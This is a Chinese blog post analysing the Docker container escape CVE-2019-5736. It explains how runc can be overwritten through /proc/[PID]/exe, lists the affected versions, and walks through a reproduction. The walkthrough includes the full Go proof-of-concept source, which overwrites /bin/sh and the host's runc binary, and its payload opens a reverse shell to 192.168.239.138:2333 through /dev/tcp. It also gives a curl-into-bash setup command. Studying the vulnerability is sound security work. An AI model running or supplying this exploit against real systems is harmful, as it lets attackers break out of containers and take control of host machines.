Docker逃逸---CVE-2019-5736浅析

2023-10-19 23:46
文章标签 docker 2019 浅析 cve 逃逸 5736

本文主要是介绍Docker逃逸---CVE-2019-5736浅析,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

一、产生原因

Docker执行命令时,先向镜像管理的containerd发送gRPC请求,containerd收到请求后,再发送给具体的容器管理containerd-shim,shim根据OCI协议将命令发送给runc执行,所以实际上执行命令的是runc

漏洞大概意思是:/proc/[PID]/exe这个链接文件的指向是该进程的二进制文件,而在runc exec加入到容器的命名空间之后, 容器内进程已经能够通过内部/proc观察到它,通过遍历/proc目录,此时我们可以拿到runc在宿主机上的二进制文件路径,然后用恶意代码覆盖runc二进制文件

然后等待管理员执行docker exec命令,但由于该漏洞需要重写runc二进制文件,故漏洞利用完会造成目标docker无法使用

二、利用条件

1、docker-runc版本不能高于1.0-rc6,docker 版本在18.09之前

2、容器以root权限运行

三、复现过程

1、环境搭建

docker和runc版本如下

 下载docker环境脚本并运行

curl https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o install.sh && bash install.sh

2、下载POC,修改脚本

git clone https://github.com/Frichetten/CVE-2019-5736-PoC

下载不了可以复制下面代码

package main// Implementation of CVE-2019-5736
// Created with help from @singe, @_cablethief, and @feexd.
// This commit also helped a ton to understand the vuln
// https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d
import ("fmt""io/ioutil""os""strconv""strings""flag"
)var shellCmd stringfunc init() {flag.StringVar(&shellCmd, "shell", "", "Execute arbitrary commands")flag.Parse()
}func main() {// This is the line of shell commands that will execute on the hostvar payload = "#!/bin/bash \n bash -c 'bash -i >& /dev/tcp/192.168.239.138/2333 0>&1'" + shellCmd// First we overwrite /bin/sh with the /proc/self/exe interpreter pathfd, err := os.Create("/bin/sh")if err != nil {fmt.Println(err)return}fmt.Fprintln(fd, "#!/proc/self/exe")err = fd.Close()if err != nil {fmt.Println(err)return}fmt.Println("[+] Overwritten /bin/sh successfully")// Loop through all processes to find one whose cmdline includes runcinit// This will be the process created by runcvar found intfor found == 0 {pids, err := ioutil.ReadDir("/proc")if err != nil {fmt.Println(err)return}for _, f := range pids {fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")fstring := string(fbytes)if strings.Contains(fstring, "runc") {fmt.Println("[+] Found the PID:", f.Name())found, err = strconv.Atoi(f.Name())if err != nil {fmt.Println(err)return}}}}// We will use the pid to get a file handle for runc on the host.var handleFd = -1for handleFd == -1 {// Note, you do not need to use the O_PATH flag for the exploit to work.handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)if int(handle.Fd()) > 0 {handleFd = int(handle.Fd())}}fmt.Println("[+] Successfully got the file handle")// Now that we have the file handle, lets write to the runc binary and overwrite it// It will maintain it's executable flagfor {writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)if int(writeHandle.Fd()) > 0 {fmt.Println("[+] Successfully got write handle", writeHandle)fmt.Println("[+] The command executed is" + payload)writeHandle.Write([]byte(payload))return}}
}

改为要反弹的主机和端口

这里把编译好的main复制到容器内执行,模拟攻击者

go build -o main main.go
docker cp main 33c6927d312d:/tmp

3、执行脚本,然后等待管理员执行命令,反弹shell

容器内运行脚本    ./main

模拟管理员执行exec命令

攻击机监听,成功反弹宿主机shell

这篇关于Docker逃逸---CVE-2019-5736浅析的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/243150

相关文章

SpringBoot+Docker+Graylog 如何让错误自动报警

《SpringBoot+Docker+Graylog如何让错误自动报警》SpringBoot默认使用SLF4J与Logback,支持多日志级别和配置方式,可输出到控制台、文件及远程服务器,集成ELK... 目录01 Spring Boot 默认日志框架解析02 Spring Boot 日志级别详解03 Sp

java实现docker镜像上传到harbor仓库的方式

《java实现docker镜像上传到harbor仓库的方式》:本文主要介绍java实现docker镜像上传到harbor仓库的方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地... 目录1. 前 言2. 编写工具类2.1 引入依赖包2.2 使用当前服务器的docker环境推送镜像2.2

浅析如何保证MySQL与Redis数据一致性

《浅析如何保证MySQL与Redis数据一致性》在互联网应用中,MySQL作为持久化存储引擎,Redis作为高性能缓存层,两者的组合能有效提升系统性能,下面我们来看看如何保证两者的数据一致性吧... 目录一、数据不一致性的根源1.1 典型不一致场景1.2 关键矛盾点二、一致性保障策略2.1 基础策略:更新数

浅析Java如何保护敏感数据

《浅析Java如何保护敏感数据》在当今数字化时代,数据安全成为了软件开发中至关重要的课题,本文将深入探讨Java安全领域,聚焦于敏感数据保护的策略与实践,感兴趣的小伙伴可以了解下... 目录一、Java 安全的重要性二、敏感数据加密技术(一)对称加密(二)非对称加密三、敏感数据的访问控制(一)基于角色的访问

ubuntu如何部署Dify以及安装Docker? Dify安装部署指南

《ubuntu如何部署Dify以及安装Docker?Dify安装部署指南》Dify是一个开源的大模型应用开发平台,允许用户快速构建和部署基于大语言模型的应用,ubuntu如何部署Dify呢?详细请... Dify是个不错的开源LLM应用开发平台,提供从 Agent 构建到 AI workflow 编排、RA

Docker安装MySQL镜像的详细步骤(适合新手小白)

《Docker安装MySQL镜像的详细步骤(适合新手小白)》本文详细介绍了如何在Ubuntu环境下使用Docker安装MySQL5.7版本,包括从官网拉取镜像、配置MySQL容器、设置权限及内网部署,... 目录前言安装1.访问docker镜像仓库官网2.找到对应的版本,复制右侧的命令即可3.查看镜像4.启

debian12安装docker的实现步骤

《debian12安装docker的实现步骤》本文主要介绍了debian12安装docker的实现步骤,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着... 目录步骤 1:更新你的系统步骤 2:安装依赖项步骤 3:添加 docker 的官方 GPG 密钥步骤

浅析如何使用xstream实现javaBean与xml互转

《浅析如何使用xstream实现javaBean与xml互转》XStream是一个用于将Java对象与XML之间进行转换的库,它非常简单易用,下面将详细介绍如何使用XStream实现JavaBean与... 目录1. 引入依赖2. 定义 JavaBean3. JavaBean 转 XML4. XML 转 J

Windows Docker端口占用错误及解决方案总结

《WindowsDocker端口占用错误及解决方案总结》在Windows环境下使用Docker容器时,端口占用错误是开发和运维中常见且棘手的问题,本文将深入剖析该问题的成因,介绍如何通过查看端口分配... 目录引言Windows docker 端口占用错误及解决方案汇总端口冲突形成原因解析诊断当前端口情况解

浅析Java中如何优雅地处理null值

《浅析Java中如何优雅地处理null值》这篇文章主要为大家详细介绍了如何结合Lambda表达式和Optional,让Java更优雅地处理null值,感兴趣的小伙伴可以跟随小编一起学习一下... 目录场景 1:不为 null 则执行场景 2:不为 null 则返回,为 null 则返回特定值或抛出异常场景